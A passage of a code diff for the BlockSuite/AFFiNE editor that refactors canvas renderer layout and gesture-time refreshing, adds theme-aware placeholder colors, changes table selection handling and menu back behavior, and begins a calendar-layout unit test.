+      filter(canvas: HTMLCanvasElement) {
+        return (
+          canvas.width !== layout.actualWidth ||
+          canvas.height !== layout.actualHeight ||
+          canvas.style.transform !== layout.transform
+        );
       },
       update(canvas: HTMLCanvasElement) {
-        canvas.style.width = `${width}px`;
-        canvas.style.height = `${height}px`;
-        canvas.style.transform = `scale(${1 / viewScale})`;
-        canvas.style.transformOrigin = `top left`;
-        canvas.width = actualWidth;
-        canvas.height = actualHeight;
+        applyCanvasViewportLayout(canvas, layout);
       },
     };
   }
@@ -246,7 +452,7 @@ export class CanvasRenderer {
   private _applyStackingCanvasLayout(
     canvas: HTMLCanvasElement,
     bound: Bound | null,
-    dpr = window.devicePixelRatio
+    dpr = getEffectiveDpr(this.viewport.zoom)
   ) {
     const state =
       this._stackingCanvasState.get(canvas) ??
@@ -270,44 +476,18 @@ export class CanvasRenderer {
       return;
     }
 
-    const { viewportBounds, zoom, viewScale } = this.viewport;
-    const width = bound.w * zoom;
-    const height = bound.h * zoom;
-    const left = (bound.x - viewportBounds.x) * zoom;
-    const top = (bound.y - viewportBounds.y) * zoom;
-    const actualWidth = Math.max(1, Math.ceil(width * dpr));
-    const actualHeight = Math.max(1, Math.ceil(height * dpr));
-    const transform = `translate(${left}px, ${top}px) scale(${1 / viewScale})`;
+    const layout = getCanvasViewportLayout({
+      bound,
+      viewportBounds: this.viewport.viewportBounds,
+      zoom: this.viewport.zoom,
+      viewScale: this.viewport.viewScale,
+      dpr,
+    });
 
     if (canvas.style.display !== 'block') {
       canvas.style.display = 'block';
     }
-    if (canvas.style.left !== '0px') {
-      canvas.style.left = '0px';
-    }
-    if (canvas.style.top !== '0px') {
-      canvas.style.top = '0px';
-    }
-    if (canvas.style.width !== `${width}px`) {
-      canvas.style.width = `${width}px`;
-    }
-    if (canvas.style.height !== `${height}px`) {
-      canvas.style.height = `${height}px`;
-    }
-    if (canvas.style.transform !== transform) {
-      canvas.style.transform = transform;
-    }
-    if (canvas.style.transformOrigin !== 'top left') {
-      canvas.style.transformOrigin = 'top left';
-    }
-
-    if (canvas.width !== actualWidth) {
-      canvas.width = actualWidth;
-    }
-
-    if (canvas.height !== actualHeight) {
-      canvas.height = actualHeight;
-    }
+    applyCanvasViewportLayout(canvas, layout);
 
     state.bound = bound;
     state.layerId = canvas.dataset.layerId ?? null;
@@ -434,6 +614,125 @@ export class CanvasRenderer {
     this._applyStackingCanvasLayout(canvas, null);
   }
 
+  private _syncStackingCanvasAttachment(shouldAttach: boolean) {
+    const payloadDiff = getStackingCanvasAttachmentDiff({
+      canvases: this._stackingCanvas,
+      wasAttached: this._stackingCanvasesAttached,
+      shouldAttach,
+    });
+
+    this._stackingCanvasesAttached = shouldAttach;
+
+    if (!payloadDiff.added.length && !payloadDiff.removed.length) {
+      return;
+    }
+
+    this.stackingCanvasUpdated.next({
+      canvases: this._stackingCanvas,
+      ...payloadDiff,
+    });
+  }
+
+  private _isStackingCanvasRecoveryActive() {
+    return this._stackingCanvasRecoveryUntil > performance.now();
+  }
+
+  private _clearStackingCanvasRecoveryTimer() {
+    if (this._stackingCanvasRecoveryTimerId !== null) {
+      clearTimeout(this._stackingCanvasRecoveryTimerId);
+      this._stackingCanvasRecoveryTimerId = null;
+    }
+  }
+
+  private _scheduleStackingCanvasRecoveryWindow(
+    delayMs = viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY
+  ) {
+    this._clearStackingCanvasRecoveryTimer();
+    this._stackingCanvasRecoveryUntil = performance.now() + delayMs;
+    this._stackingCanvasRecoveryTimerId = setTimeout(() => {
+      this._stackingCanvasRecoveryTimerId = null;
+      this._stackingCanvasRecoveryUntil = 0;
+      if (this._container) {
+        this._updatePlaceholderMode();
+      }
+    }, delayMs);
+  }
+
+  private _syncCanvasBudgetForViewportZoom() {
+    const nextZoom = this.viewport.zoom;
+
+    if (
+      !shouldSyncCanvasBudgetOnViewportUpdate(
+        this._lastCanvasBudgetZoom,
+        nextZoom
+      )
+    ) {
+      this._lastCanvasBudgetZoom = nextZoom;
+      return;
+    }
+
+    this._lastCanvasBudgetZoom = nextZoom;
+    this._resetSize();
+    this._render();
+  }
+
+  private _updatePlaceholderMode() {
+    const gestureActive =
+      this.viewport.panning$.value || this.viewport.zooming$.value;
+    const recoveryActive = this._isStackingCanvasRecoveryActive();
+    const lowZoomSurvivalMode = shouldUseLowZoomSurvivalMode(
+      IS_IOS,
+      this.viewport.zoom,
+      gestureActive
+    );
+    const shouldBypassStackingCanvases =
+      shouldBypassStackingCanvasesDuringLowZoomGesture({
+        isIOS: IS_IOS,
+        zoom: this.viewport.zoom,
+        gestureActive,
+        recoveryActive,
+        viewportWidth: this.viewport.width,
+        viewportHeight: this.viewport.height,
+      });
+    const shouldRenderPlaceholders = shouldRenderCanvasPlaceholders({
+      isIOS: IS_IOS,
+      zoom: this.viewport.zoom,
+      isPanning: this.viewport.panning$.value,
+      isZooming: this.viewport.zooming$.value,
+      skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
+      turboEnabled: this._turboEnabled(),
+    });
+
+    const bypassModeChanged =
+      this._lastBypassStackingCanvases !== shouldBypassStackingCanvases;
+
+    this._syncStackingCanvasAttachment(!shouldBypassStackingCanvases);
+
+    if (this.usePlaceholder === shouldRenderPlaceholders) {
+      this._lastLowZoomSurvivalMode = lowZoomSurvivalMode;
+      this._lastBypassStackingCanvases = shouldBypassStackingCanvases;
+      if (bypassModeChanged) {
+        this.refresh({ type: 'all' });
+      }
+      return;
+    }
+
+    this.usePlaceholder = shouldRenderPlaceholders;
+    const survivalModeChanged =
+      this._lastLowZoomSurvivalMode !== lowZoomSurvivalMode;
+    this._lastLowZoomSurvivalMode = lowZoomSurvivalMode;
+    this._lastBypassStackingCanvases = shouldBypassStackingCanvases;
+
+    if (
+      survivalModeChanged ||
+      bypassModeChanged ||
+      !this.viewport.SKIP_REFRESH_DURING_GESTURE ||
+      !gestureActive
+    ) {
+      this.refresh({ type: 'all' });
+    }
+  }
+
   private _initStackingCanvas(onCreated?: (canvas: HTMLCanvasElement) => void) {
     const layer = this.layerManager;
     const updateStackingCanvas = () => {
@@ -476,7 +775,9 @@ export class CanvasRenderer {
         };
 
         if (diff > 0) {
-          payload.added = canvases.slice(-diff);
+          if (this._stackingCanvasesAttached) {
+            payload.added = canvases.slice(-diff);
+          }
         } else {
           payload.removed = currentCanvases.slice(diff);
           payload.removed.forEach(canvas => {
@@ -485,7 +786,9 @@ export class CanvasRenderer {
           });
         }
 
-        this.stackingCanvasUpdated.next(payload);
+        if (payload.added.length || payload.removed.length) {
+          this.stackingCanvasUpdated.next(payload);
+        }
       }
 
       this.refresh({ type: 'all' });
@@ -503,41 +806,131 @@ export class CanvasRenderer {
   private _initViewport() {
     let sizeUpdatedRafId: number | null = null;
 
+    this._disposables.add({
+      dispose: () => this._clearStackingCanvasRecoveryTimer(),
+    });
+
+    this._disposables.add(
+      this.viewport.zoomUpdated.subscribe(() => {
+        this._syncCanvasBudgetForViewportZoom();
+      })
+    );
+
     this._disposables.add(
       this.viewport.viewportUpdated.subscribe(() => {
+        this._updatePlaceholderMode();
+        if (
+          this.viewport.SKIP_REFRESH_DURING_GESTURE &&
+          (this.viewport.panning$.value || this.viewport.zooming$.value)
+        ) {
+          return;
+        }
         this.refresh({ type: 'all' });
       })
     );
 
     this._disposables.add(
       this.viewport.sizeUpdated.subscribe(() => {
+        if (
+          IS_IOS &&
+          this.viewport.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
+          this.viewport.width > this.viewport.height
+        ) {
+          this._scheduleStackingCanvasRecoveryWindow();
+          if (this._container) {
+            this._updatePlaceholderMode();
+          }
+        }
+
         if (sizeUpdatedRafId) return;
         sizeUpdatedRafId = requestConnectedFrame(() => {
           sizeUpdatedRafId = null;
           this._resetSize();
-          this._render();
+          // When SKIP_REFRESH_DURING_GESTURE is active, schedule the render
+          // after a short delay to let the layout settle on orientation change,
+          // avoiding a white-flash from resizing + rendering in the same frame.
+          if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+            setTimeout(() => this._render(), 16);
+          } else {
+            this._render();
+          }
         }, this._container);
       })
     );
 
     this._disposables.add(
-      this.viewport.zooming$.subscribe(isZooming => {
-        const shouldRenderPlaceholders = this._turboEnabled() && isZooming;
-
-        if (this.usePlaceholder !== shouldRenderPlaceholders) {
-          this.usePlaceholder = shouldRenderPlaceholders;
-          this.refresh({ type: 'all' });
-        }
+      this.viewport.zooming$.subscribe(() => {
+        this._updatePlaceholderMode();
       })
     );
 
+    // When SKIP_REFRESH_DURING_GESTURE is enabled, defer heavy canvas work
+    // while the gesture is still in-flight, but start the first recovery frame
+    // immediately once both gesture signals have fully settled.
+    if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+      let pendingCanvasTimerId: ReturnType<typeof setTimeout> | null = null;
+
+      const cancelPendingCanvasRefresh = () => {
+        if (pendingCanvasTimerId !== null) {
+          clearTimeout(pendingCanvasTimerId);
+          pendingCanvasTimerId = null;
+        }
+      };
+
+      const scheduleCanvasRefresh = () => {
+        cancelPendingCanvasRefresh();
+        const delayMs = getPostGestureRecoveryDelay({
+          isPanning: this.viewport.panning$.value,
+          isZooming: this.viewport.zooming$.value,
+          fallbackDelayMs: viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY,
+        });
+        pendingCanvasTimerId = setTimeout(() => {
+          pendingCanvasTimerId = null;
+          // If a gesture is still in-flight when the timer fires, reschedule
+          // instead of dropping. Dropping here left connectors blank until a
+          // tap forced a synchronous refresh.
+          if (this.viewport.panning$.value || this.viewport.zooming$.value) {
+            scheduleCanvasRefresh();
+            return;
+          }
+          this.refresh({ type: 'all' });
+        }, delayMs);
+      };
+
+      this._disposables.add(
+        this.viewport.panning$.subscribe(panning => {
+          this._updatePlaceholderMode();
+          if (panning) {
+            cancelPendingCanvasRefresh();
+          } else {
+            scheduleCanvasRefresh();
+          }
+        })
+      );
+      this._disposables.add(
+        this.viewport.zooming$.subscribe(zooming => {
+          this._updatePlaceholderMode();
+          if (zooming) {
+            cancelPendingCanvasRefresh();
+          } else {
+            scheduleCanvasRefresh();
+          }
+        })
+      );
+      this._disposables.add({ dispose: cancelPendingCanvasRefresh });
+    }
+
     let wasDragging = false;
     this._disposables.add(
       effect(() => {
         const isDragging = this._gfx.tool.dragging$.value;
 
         if (wasDragging && !isDragging) {
-          this.refresh({ type: 'all' });
+          if (this.viewport.panning$.value || this.viewport.zooming$.value) {
+            // Deferred refresh will handle it after gesture ends
+          } else {
+            this.refresh({ type: 'all' });
+          }
         }
 
         wasDragging = isDragging;
@@ -572,16 +965,34 @@ export class CanvasRenderer {
 
   private _render() {
     const renderStart = performance.now();
-    const { viewportBounds, zoom } = this.viewport;
+    const { overscanViewportBounds, viewportBounds, zoom } = this.viewport;
+    const {
+      cullBound: mainCanvasCullBound,
+      renderBound: mainCanvasRenderBound,
+    } = getMainCanvasFallbackBounds({
+      viewportBounds,
+      overscanViewportBounds,
+    });
     const { ctx } = this;
-    const dpr = window.devicePixelRatio;
+    const dpr = getEffectiveDpr(zoom);
     const scale = zoom * dpr;
     const matrix = new DOMMatrix().scaleSelf(scale);
     const renderStats = this._createRenderPassStats();
     const fullRender = this._needsFullRender;
-    const stackingIndexesToRender = fullRender
-      ? this._stackingCanvas.map((_, idx) => idx)
-      : [...this._dirtyStackingCanvasIndexes];
+    const bypassStackingCanvases = getStackingCanvasBypassState({
+      isIOS: IS_IOS,
+      zoom: this.viewport.zoom,
+      gestureActive:
+        this.viewport.panning$.value || this.viewport.zooming$.value,
+      recoveryActive: this._isStackingCanvasRecoveryActive(),
+      viewportWidth: this.viewport.width,
+      viewportHeight: this.viewport.height,
+    });
+    const stackingIndexesToRender = bypassStackingCanvases
+      ? []
+      : fullRender
+        ? this._stackingCanvas.map((_, idx) => idx)
+        : [...this._dirtyStackingCanvasIndexes];
     /**
      * if a layer does not have a corresponding canvas
      * its element will be add to this array and drawing on the
@@ -589,7 +1000,15 @@ export class CanvasRenderer {
      */
     let fallbackElement: SurfaceElementModel[] = [];
     const allCanvasLayers = this.layerManager.getCanvasLayers();
-    const viewportBound = Bound.from(viewportBounds);
+    const stackingViewportBound = Bound.from(overscanViewportBounds);
+
+    this._canvasSizeUpdater(mainCanvasRenderBound, dpr).update(this.canvas);
+
+    if (bypassStackingCanvases) {
+      this._stackingCanvas.forEach(canvas => {
+        this._applyStackingCanvasLayout(canvas, null, dpr);
+      });
+    }
 
     for (const idx of stackingIndexesToRender) {
       const layer = allCanvasLayers[idx];
@@ -601,7 +1020,7 @@ export class CanvasRenderer {
 
       const layerRenderBound = this._getLayerRenderBound(
         layer.elements,
-        viewportBound
+        stackingViewportBound
       );
       const resolvedLayerRenderBound = this._getResolvedStackingCanvasBound(
         canvas,
@@ -638,7 +1057,12 @@ export class CanvasRenderer {
 
     if (fullRender || this._mainCanvasDirty) {
       allCanvasLayers.forEach((layer, idx) => {
-        if (!this._stackingCanvas[idx]) {
+        if (
+          bypassStackingCanvases ||
+          !this._stackingCanvas[idx] ||
+          this._stackingCanvas[idx].width === 0 ||
+          this._stackingCanvas[idx].height === 0
+        ) {
           fallbackElement = fallbackElement.concat(layer.elements);
         }
       });
@@ -651,10 +1075,11 @@ export class CanvasRenderer {
         ctx,
         matrix,
         new RoughCanvas(ctx.canvas),
-        viewportBounds,
+        mainCanvasRenderBound,
         fallbackElement,
         true,
-        renderStats
+        renderStats,
+        mainCanvasCullBound
       );
     }
 
@@ -726,7 +1151,8 @@ export class CanvasRenderer {
     bound: IBound,
     surfaceElements?: SurfaceElementModel[],
     overLay: boolean = false,
-    renderStats?: RenderPassStats
+    renderStats?: RenderPassStats,
+    cullBound: IBound = bound
   ) {
     if (!ctx) return;
 
@@ -734,13 +1160,13 @@ export class CanvasRenderer {
 
     const elements =
       surfaceElements ??
-      (this.grid.search(bound, {
+      (this.grid.search(cullBound, {
         filter: ['canvas', 'local'],
       }) as SurfaceElementModel[]);
 
     for (const element of elements) {
       const display = (element.display ?? true) && !element.hidden;
-      if (display && intersects(getBoundWithRotation(element), bound)) {
+      if (display && intersects(getBoundWithRotation(element), cullBound)) {
         renderStats && (renderStats.visibleElementCount += 1);
         if (
           this.usePlaceholder &&
@@ -748,7 +1174,7 @@ export class CanvasRenderer {
         ) {
           renderStats && (renderStats.placeholderElementCount += 1);
           ctx.save();
-          ctx.fillStyle = 'rgba(200, 200, 200, 0.5)';
+          ctx.fillStyle = resolveSurfacePlaceholderColor(this.getColorScheme());
           const drawX = element.x - bound.x;
           const drawY = element.y - bound.y;
           ctx.fillRect(drawX, drawY, element.w, element.h);
@@ -785,9 +1211,12 @@ export class CanvasRenderer {
   }
 
   private _resetSize() {
-    const sizeUpdater = this._canvasSizeUpdater();
+    const sizeUpdater = this._canvasSizeUpdater(
+      this.viewport.overscanViewportBounds
+    );
 
     sizeUpdater.update(this.canvas);
+    this._lastCanvasBudgetZoom = this.viewport.zoom;
     this._invalidate({ type: 'all' });
   }
 
@@ -838,6 +1267,7 @@ export class CanvasRenderer {
     this._container = container;
     container.append(this.canvas);
 
+    this._updatePlaceholderMode();
     this._resetSize();
     this.refresh({ type: 'all' });
   }
@@ -864,8 +1294,11 @@ export class CanvasRenderer {
     canvas = canvas || document.createElement('canvas');
 
     const dpr = window.devicePixelRatio || 1;
-    if (canvas.width !== bound.w * dpr) canvas.width = bound.w * dpr;
-    if (canvas.height !== bound.h * dpr) canvas.height = bound.h * dpr;
+    const actualWidth = Math.ceil(bound.w * dpr);
+    const actualHeight = Math.ceil(bound.h * dpr);
+
+    if (canvas.width !== actualWidth) canvas.width = actualWidth;
+    if (canvas.height !== actualHeight) canvas.height = actualHeight;
 
     canvas.style.width = `${bound.w}px`;
     canvas.style.height = `${bound.h}px`;

blocksuite/affine/blocks/surface/src/renderer/dom-renderer.ts

@@ -19,12 +19,14 @@ import type {
   SurfaceBlockModel,
   Viewport,
 } from '@blocksuite/std/gfx';
+import { viewportRuntimeConfig } from '@blocksuite/std/gfx';
 import { Subject } from 'rxjs';
 
 import type { SurfaceElementModel } from '../element-model/base.js';
 import type { DomElementRenderer } from './dom-elements/index.js';
 import { DomElementRendererIdentifier } from './dom-elements/index.js';
 import type { Overlay } from './overlay.js';
+import { resolveSurfacePlaceholderColor } from './placeholder-style.js';
 
 type EnvProvider = {
   generateColorProperty: (color: Color, fallback?: Color) => string;
@@ -222,6 +224,12 @@ export class DomRenderer {
   private _initViewport() {
     this._disposables.add(
       this.viewport.viewportUpdated.subscribe(() => {
+        if (
+          this.viewport.SKIP_REFRESH_DURING_GESTURE &&
+          (this.viewport.panning$.value || this.viewport.zooming$.value)
+        ) {
+          return;
+        }
         this._markViewportDirty();
         this.refresh();
       })
@@ -242,6 +250,9 @@ export class DomRenderer {
 
     this._disposables.add(
       this.viewport.zooming$.subscribe(isZooming => {
+        if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+          return;
+        }
         const shouldRenderPlaceholders = this._turboEnabled() && isZooming;
 
         if (this.usePlaceholder !== shouldRenderPlaceholders) {
@@ -252,6 +263,43 @@ export class DomRenderer {
       })
     );
 
+    // Post-gesture refresh for SKIP mode
+    if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+      let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
+
+      const cancelRefresh = () => {
+        if (pendingTimerId !== null) {
+          clearTimeout(pendingTimerId);
+          pendingTimerId = null;
+        }
+      };
+
+      const scheduleRefresh = () => {
+        cancelRefresh();
+        pendingTimerId = setTimeout(() => {
+          pendingTimerId = null;
+          if (!this.viewport.panning$.value && !this.viewport.zooming$.value) {
+            this._markViewportDirty();
+            this.refresh();
+          }
+        }, viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY);
+      };
+
+      this._disposables.add(
+        this.viewport.panning$.subscribe(panning => {
+          if (panning) cancelRefresh();
+          else if (!this.viewport.zooming$.value) scheduleRefresh();
+        })
+      );
+      this._disposables.add(
+        this.viewport.zooming$.subscribe(zooming => {
+          if (zooming) cancelRefresh();
+          else if (!this.viewport.panning$.value) scheduleRefresh();
+        })
+      );
+      this._disposables.add({ dispose: cancelRefresh });
+    }
+
     this.usePlaceholder = false;
   }
 
@@ -292,12 +340,15 @@ export class DomRenderer {
       domElement = document.createElement('div');
       domElement.dataset.elementId = elementModel.id;
       domElement.style.position = 'absolute';
-      domElement.style.backgroundColor = 'rgba(200, 200, 200, 0.5)';
       this._elementsMap.set(elementModel.id, domElement);
       this.rootElement.append(domElement);
       addedElements.push(domElement);
     }
 
+    domElement.style.backgroundColor = resolveSurfacePlaceholderColor(
+      this.getColorScheme()
+    );
+
     const geometricStyles = calculatePlaceholderRect(
       elementModel,
       viewportBounds,

blocksuite/affine/blocks/surface/src/renderer/placeholder-style.ts

@@ -0,0 +1,10 @@
+import { type ColorScheme } from '@blocksuite/affine-model';
+import { getAffinePlaceholderFillColor } from '@blocksuite/affine-shared/theme';
+
+export function getSurfacePlaceholderFallback(colorScheme: ColorScheme) {
+  return getAffinePlaceholderFillColor(colorScheme);
+}
+
+export function resolveSurfacePlaceholderColor(colorScheme: ColorScheme) {
+  return getSurfacePlaceholderFallback(colorScheme);
+}

blocksuite/affine/blocks/table/src/selection-controller.ts

@@ -527,6 +527,9 @@ export class SelectionController implements ReactiveController {
     removeNativeSelection = true
   ) {
     if (selection) {
+      if (this.hasExternalNativeSelection()) {
+        return;
+      }
       const previous = this.getSelected();
       if (TableSelectionData.equals(previous, selection)) {
         return;
@@ -551,4 +554,24 @@ export class SelectionController implements ReactiveController {
     );
     return selection?.is(TableSelection) ? selection.data : undefined;
   }
+
+  private hasExternalNativeSelection() {
+    const selection = getSelection();
+    if (!selection || selection.isCollapsed || selection.rangeCount === 0) {
+      return false;
+    }
+
+    const range = selection.getRangeAt(0);
+    if (!range.intersectsNode(this.host)) {
+      return false;
+    }
+
+    const anchorNode = selection.anchorNode;
+    const focusNode = selection.focusNode;
+    return (
+      !!anchorNode &&
+      !!focusNode &&
+      (!this.host.contains(anchorNode) || !this.host.contains(focusNode))
+    );
+  }
 }

blocksuite/affine/blocks/table/src/table-block-css.ts

@@ -1,10 +1,32 @@
 import { css } from '@emotion/css';
 
+const externalRangeSelectionSelector =
+  'affine-table[data-external-range-selection]';
+const hiddenSelectionBackground = '#fff';
+
 export const tableContainer = css({
   display: 'block',
   padding: '10px 0 18px 10px',
   overflowX: 'auto',
   overflowY: 'visible',
+  userSelect: 'none',
+  WebkitUserSelect: 'none',
+  '& *': {
+    userSelect: 'none',
+    WebkitUserSelect: 'none',
+  },
+  [`${externalRangeSelectionSelector} &::selection`]: {
+    backgroundColor: hiddenSelectionBackground,
+  },
+  [`${externalRangeSelectionSelector} & *::selection`]: {
+    backgroundColor: hiddenSelectionBackground,
+  },
+  [`${externalRangeSelectionSelector} & rich-text::selection`]: {
+    backgroundColor: hiddenSelectionBackground,
+  },
+  [`${externalRangeSelectionSelector} & rich-text *::selection`]: {
+    backgroundColor: hiddenSelectionBackground,
+  },
   '::-webkit-scrollbar': {
     height: '8px',
   },

blocksuite/affine/blocks/table/src/table-block.ts

@@ -5,7 +5,10 @@ import { DocModeProvider } from '@blocksuite/affine-shared/services';
 import { VirtualPaddingController } from '@blocksuite/affine-shared/utils';
 import { IS_MOBILE } from '@blocksuite/global/env';
 import type { BlockComponent } from '@blocksuite/std';
-import { RANGE_SYNC_EXCLUDE_ATTR } from '@blocksuite/std/inline';
+import {
+  RANGE_QUERY_EXCLUDE_ATTR,
+  RANGE_SYNC_EXCLUDE_ATTR,
+} from '@blocksuite/std/inline';
 import { signal } from '@preact/signals-core';
 import { html, nothing } from 'lit';
 import { ref } from 'lit/directives/ref.js';
@@ -37,7 +40,80 @@ export class TableBlockComponent extends CaptionedBlockComponent<TableBlockModel
   override connectedCallback() {
     super.connectedCallback();
     this.setAttribute(RANGE_SYNC_EXCLUDE_ATTR, 'true');
+    this.setAttribute(RANGE_QUERY_EXCLUDE_ATTR, 'true');
     this.style.position = 'relative';
+    const doc = this.ownerDocument;
+    this.disposables.addFromEvent(doc, 'selectionchange', () => {
+      const hasExternalNativeSelection = this.hasExternalNativeSelection();
+      this.toggleAttribute(
+        'data-external-range-selection',
+        hasExternalNativeSelection
+      );
+      if (hasExternalNativeSelection) {
+        delete this.dataset.internalRangeSelection;
+      }
+      this.setInternalEditablesEnabled(!hasExternalNativeSelection);
+    });
+    this.disposables.addFromEvent(
+      doc,
+      'pointerdown',
+      event => {
+        const target = event.target;
+        const NodeConstructor = this.ownerDocument.defaultView?.Node;
+        if (
+          NodeConstructor &&
+          target instanceof NodeConstructor &&
+          this.contains(target)
+        ) {
+          this.setInternalEditablesEnabled(true);
+          if (this.hasExternalNativeSelection()) {
+            this.ownerDocument.getSelection()?.removeAllRanges();
+          }
+          delete this.dataset.externalRangeSelection;
+          this.dataset.internalRangeSelection = 'true';
+        } else {
+          delete this.dataset.internalRangeSelection;
+        }
+      },
+      { capture: true }
+    );
+  }
+
+  private setInternalEditablesEnabled(enabled: boolean) {
+    this.querySelectorAll<HTMLElement>('.inline-editor').forEach(editor => {
+      if (enabled) {
+        if (editor.dataset.tableExternalSelectionDisabled === 'true') {
+          editor.contentEditable = 'true';
+          delete editor.dataset.tableExternalSelectionDisabled;
+        }
+        return;
+      }
+
+      if (editor.contentEditable === 'true') {
+        editor.contentEditable = 'false';
+        editor.dataset.tableExternalSelectionDisabled = 'true';
+      }
+    });
+  }
+
+  private hasExternalNativeSelection() {
+    const selection = this.ownerDocument.getSelection();
+    if (!selection || selection.isCollapsed || selection.rangeCount === 0) {
+      return false;
+    }
+
+    const range = selection.getRangeAt(0);
+    if (!range.intersectsNode(this)) {
+      return false;
+    }
+
+    const anchorNode = selection.anchorNode;
+    const focusNode = selection.focusNode;
+    return (
+      !!anchorNode &&
+      !!focusNode &&
+      (!this.contains(anchorNode) || !this.contains(focusNode))
+    );
   }
 
   override get topContenteditableElement() {

blocksuite/affine/blocks/table/src/table-cell-css.ts

@@ -10,6 +10,18 @@ export const cellContainerStyle = css({
   isolation: 'auto',
   textAlign: 'start',
   verticalAlign: 'top',
+  'affine-table[data-internal-range-selection="true"] &': {
+    userSelect: 'text',
+    WebkitUserSelect: 'text',
+  },
+  'affine-table[data-internal-range-selection="true"] & rich-text': {
+    userSelect: 'text',
+    WebkitUserSelect: 'text',
+  },
+  'affine-table[data-internal-range-selection="true"] & rich-text *': {
+    userSelect: 'text',
+    WebkitUserSelect: 'text',
+  },
 });
 
 export const columnOptionsCellStyle = css({

blocksuite/affine/blocks/table/src/table-cell.ts

@@ -649,12 +649,9 @@ export class TableCell extends SignalWatcher(
   }
 
   private readonly _handleKeyDown = (e: KeyboardEvent) => {
-    if (e.key !== 'Escape') {
-      if (e.key === 'Tab') {
-        e.preventDefault();
-        return;
-      }
-      e.stopPropagation();
+    if (e.key !== 'Escape' && e.key === 'Tab') {
+      e.preventDefault();
+      return;
     }
   };
 

blocksuite/affine/blocks/table/src/table-keymap.ts

@@ -0,0 +1,7 @@
+import { textKeymap } from '@blocksuite/affine-inline-preset';
+import { TableBlockSchema } from '@blocksuite/affine-model';
+import { KeymapExtension } from '@blocksuite/std';
+
+export const TableKeymapExtension = KeymapExtension(textKeymap, {
+  flavour: TableBlockSchema.model.flavour,
+});

blocksuite/affine/blocks/table/src/view.ts

@@ -9,6 +9,7 @@ import { literal } from 'lit/static-html.js';
 
 import { tableSlashMenuConfig } from './configs/slash-menu';
 import { effects } from './effects';
+import { TableKeymapExtension } from './table-keymap.js';
 
 export class TableViewExtension extends ViewExtensionProvider {
   override name = 'affine-table-block';
@@ -22,6 +23,7 @@ export class TableViewExtension extends ViewExtensionProvider {
     super.setup(context);
     context.register([
       FlavourExtension(TableModelFlavour),
+      TableKeymapExtension,
       BlockViewExtension(TableModelFlavour, literal`affine-table`),
       SlashMenuConfigExtension(TableModelFlavour, tableSlashMenuConfig),
     ]);

blocksuite/affine/components/src/context-menu/input.ts

@@ -95,7 +95,9 @@ export class MenuInput extends MenuFocusable {
     });
     requestAnimationFrame(() => {
       requestAnimationFrame(() => {
-        this.inputRef.select();
+        if (!this.data.disableAutoFocus) {
+          this.inputRef.select();
+        }
       });
     });
   }
@@ -223,6 +225,7 @@ export const menuInputItems = {
       onComplete?: (value: string) => void;
       onChange?: (value: string) => void;
       onBlur?: (value: string) => void;
+      disableAutoFocus?: boolean;
       class?: string;
       style?: Readonly<StyleInfo>;
     }) =>
@@ -237,6 +240,7 @@ export const menuInputItems = {
         onComplete: config.onComplete,
         onChange: config.onChange,
         onBlur: config.onBlur,
+        disableAutoFocus: config.disableAutoFocus,
       };
       const style = styleMap({
         display: 'flex',

blocksuite/affine/components/src/context-menu/menu-renderer.ts

@@ -111,8 +111,10 @@ export class MenuComponent
         }
         const onBack = this.menu.options.title?.onBack;
         if (e.key === 'Backspace' && onBack && !this.menu.showSearch$.value) {
-          this.menu.close();
-          onBack(this.menu);
+          const result = onBack(this.menu);
+          if (result !== false) {
+            this.menu.close();
+          }
           return;
         }
         if (e.key === 'Enter' && !e.isComposing) {
@@ -214,8 +216,10 @@ export class MenuComponent
         ${title.onBack
           ? html` <div
               @click="${() => {
-                title.onBack?.(this.menu);
-                this.menu.close();
+                const result = title.onBack?.(this.menu);
+                if (result !== false) {
+                  this.menu.close();
+                }
               }}"
               class="dv-icon-20 dv-hover dv-pd-2 dv-round-4"
               style="display:flex;"

blocksuite/affine/components/src/context-menu/menu.ts

@@ -15,7 +15,7 @@ export type MenuOptions = {
   onClose?: () => void;
   title?: {
     text: string;
-    onBack?: (menu: Menu) => void;
+    onBack?: (menu: Menu) => boolean | void;
     onClose?: () => void;
     postfix?: () => TemplateResult;
   };

blocksuite/affine/data-view/package.json

@@ -30,7 +30,7 @@
     "zod": "^3.25.76"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/data-view/src/__tests__/calendar-layout.unit.spec.ts

@@ -0,0 +1,371 @@
+import { describe, expect, it } from 'vitest';
+
+import {
+  type CalendarEntry,
+  createCalendarMonthLayout,
+  getCalendarDayContentSlots,
+  getCalendarVisibleMonthRange,
+} from '../view-presets/calendar/index.js';
+
+const day = (value: string) => new Date(`${value}T00:00:00`).getTime();
+
+describe('calendar month layout', () => {
+  it('buckets single day entries', () => {
+    const entry = {
+      kind: 'row',
+      id: 'database:row-1',
+      sourceId: 'database',
+      rowId: 'row-1',
+      title: 'Task',
+      startAt: day('2026-05-15'),
+      cardProperties: [],
+      canResizeRange: false,
+    } satisfies CalendarEntry;
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries: [entry],
+    });
+
+    expect(
+      layout.days.find(item => item.date === day('2026-05-15'))?.entries
+    ).toEqual([entry]);
+  });
+
+  it('splits range external entries across weeks', () => {
+    const entry = {
+      kind: 'external',
+      id: 'external:1',
+      sourceId: 'workspace-calendar',
+      externalId: '1',
+      title: 'Trip',
+      startAt: day('2026-05-09'),
+      endAt: new Date('2026-05-12T12:00:00').getTime(),
+      canResizeRange: false,
+    } satisfies CalendarEntry;
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries: [entry],
+    });
+
+    expect(layout.segments).toMatchObject([
+      { weekIndex: 1, startIndex: 6, span: 1 },
+      { weekIndex: 2, startIndex: 0, span: 3 },
+    ]);
+  });
+
+  it('treats all-day external midnight end as exclusive', () => {
+    const entry = {
+      kind: 'external',
+      id: 'external:1',
+      sourceId: 'workspace-calendar',
+      externalId: '1',
+      title: 'All day',
+      startAt: day('2026-05-15'),
+      endAt: day('2026-05-16'),
+      allDay: true,
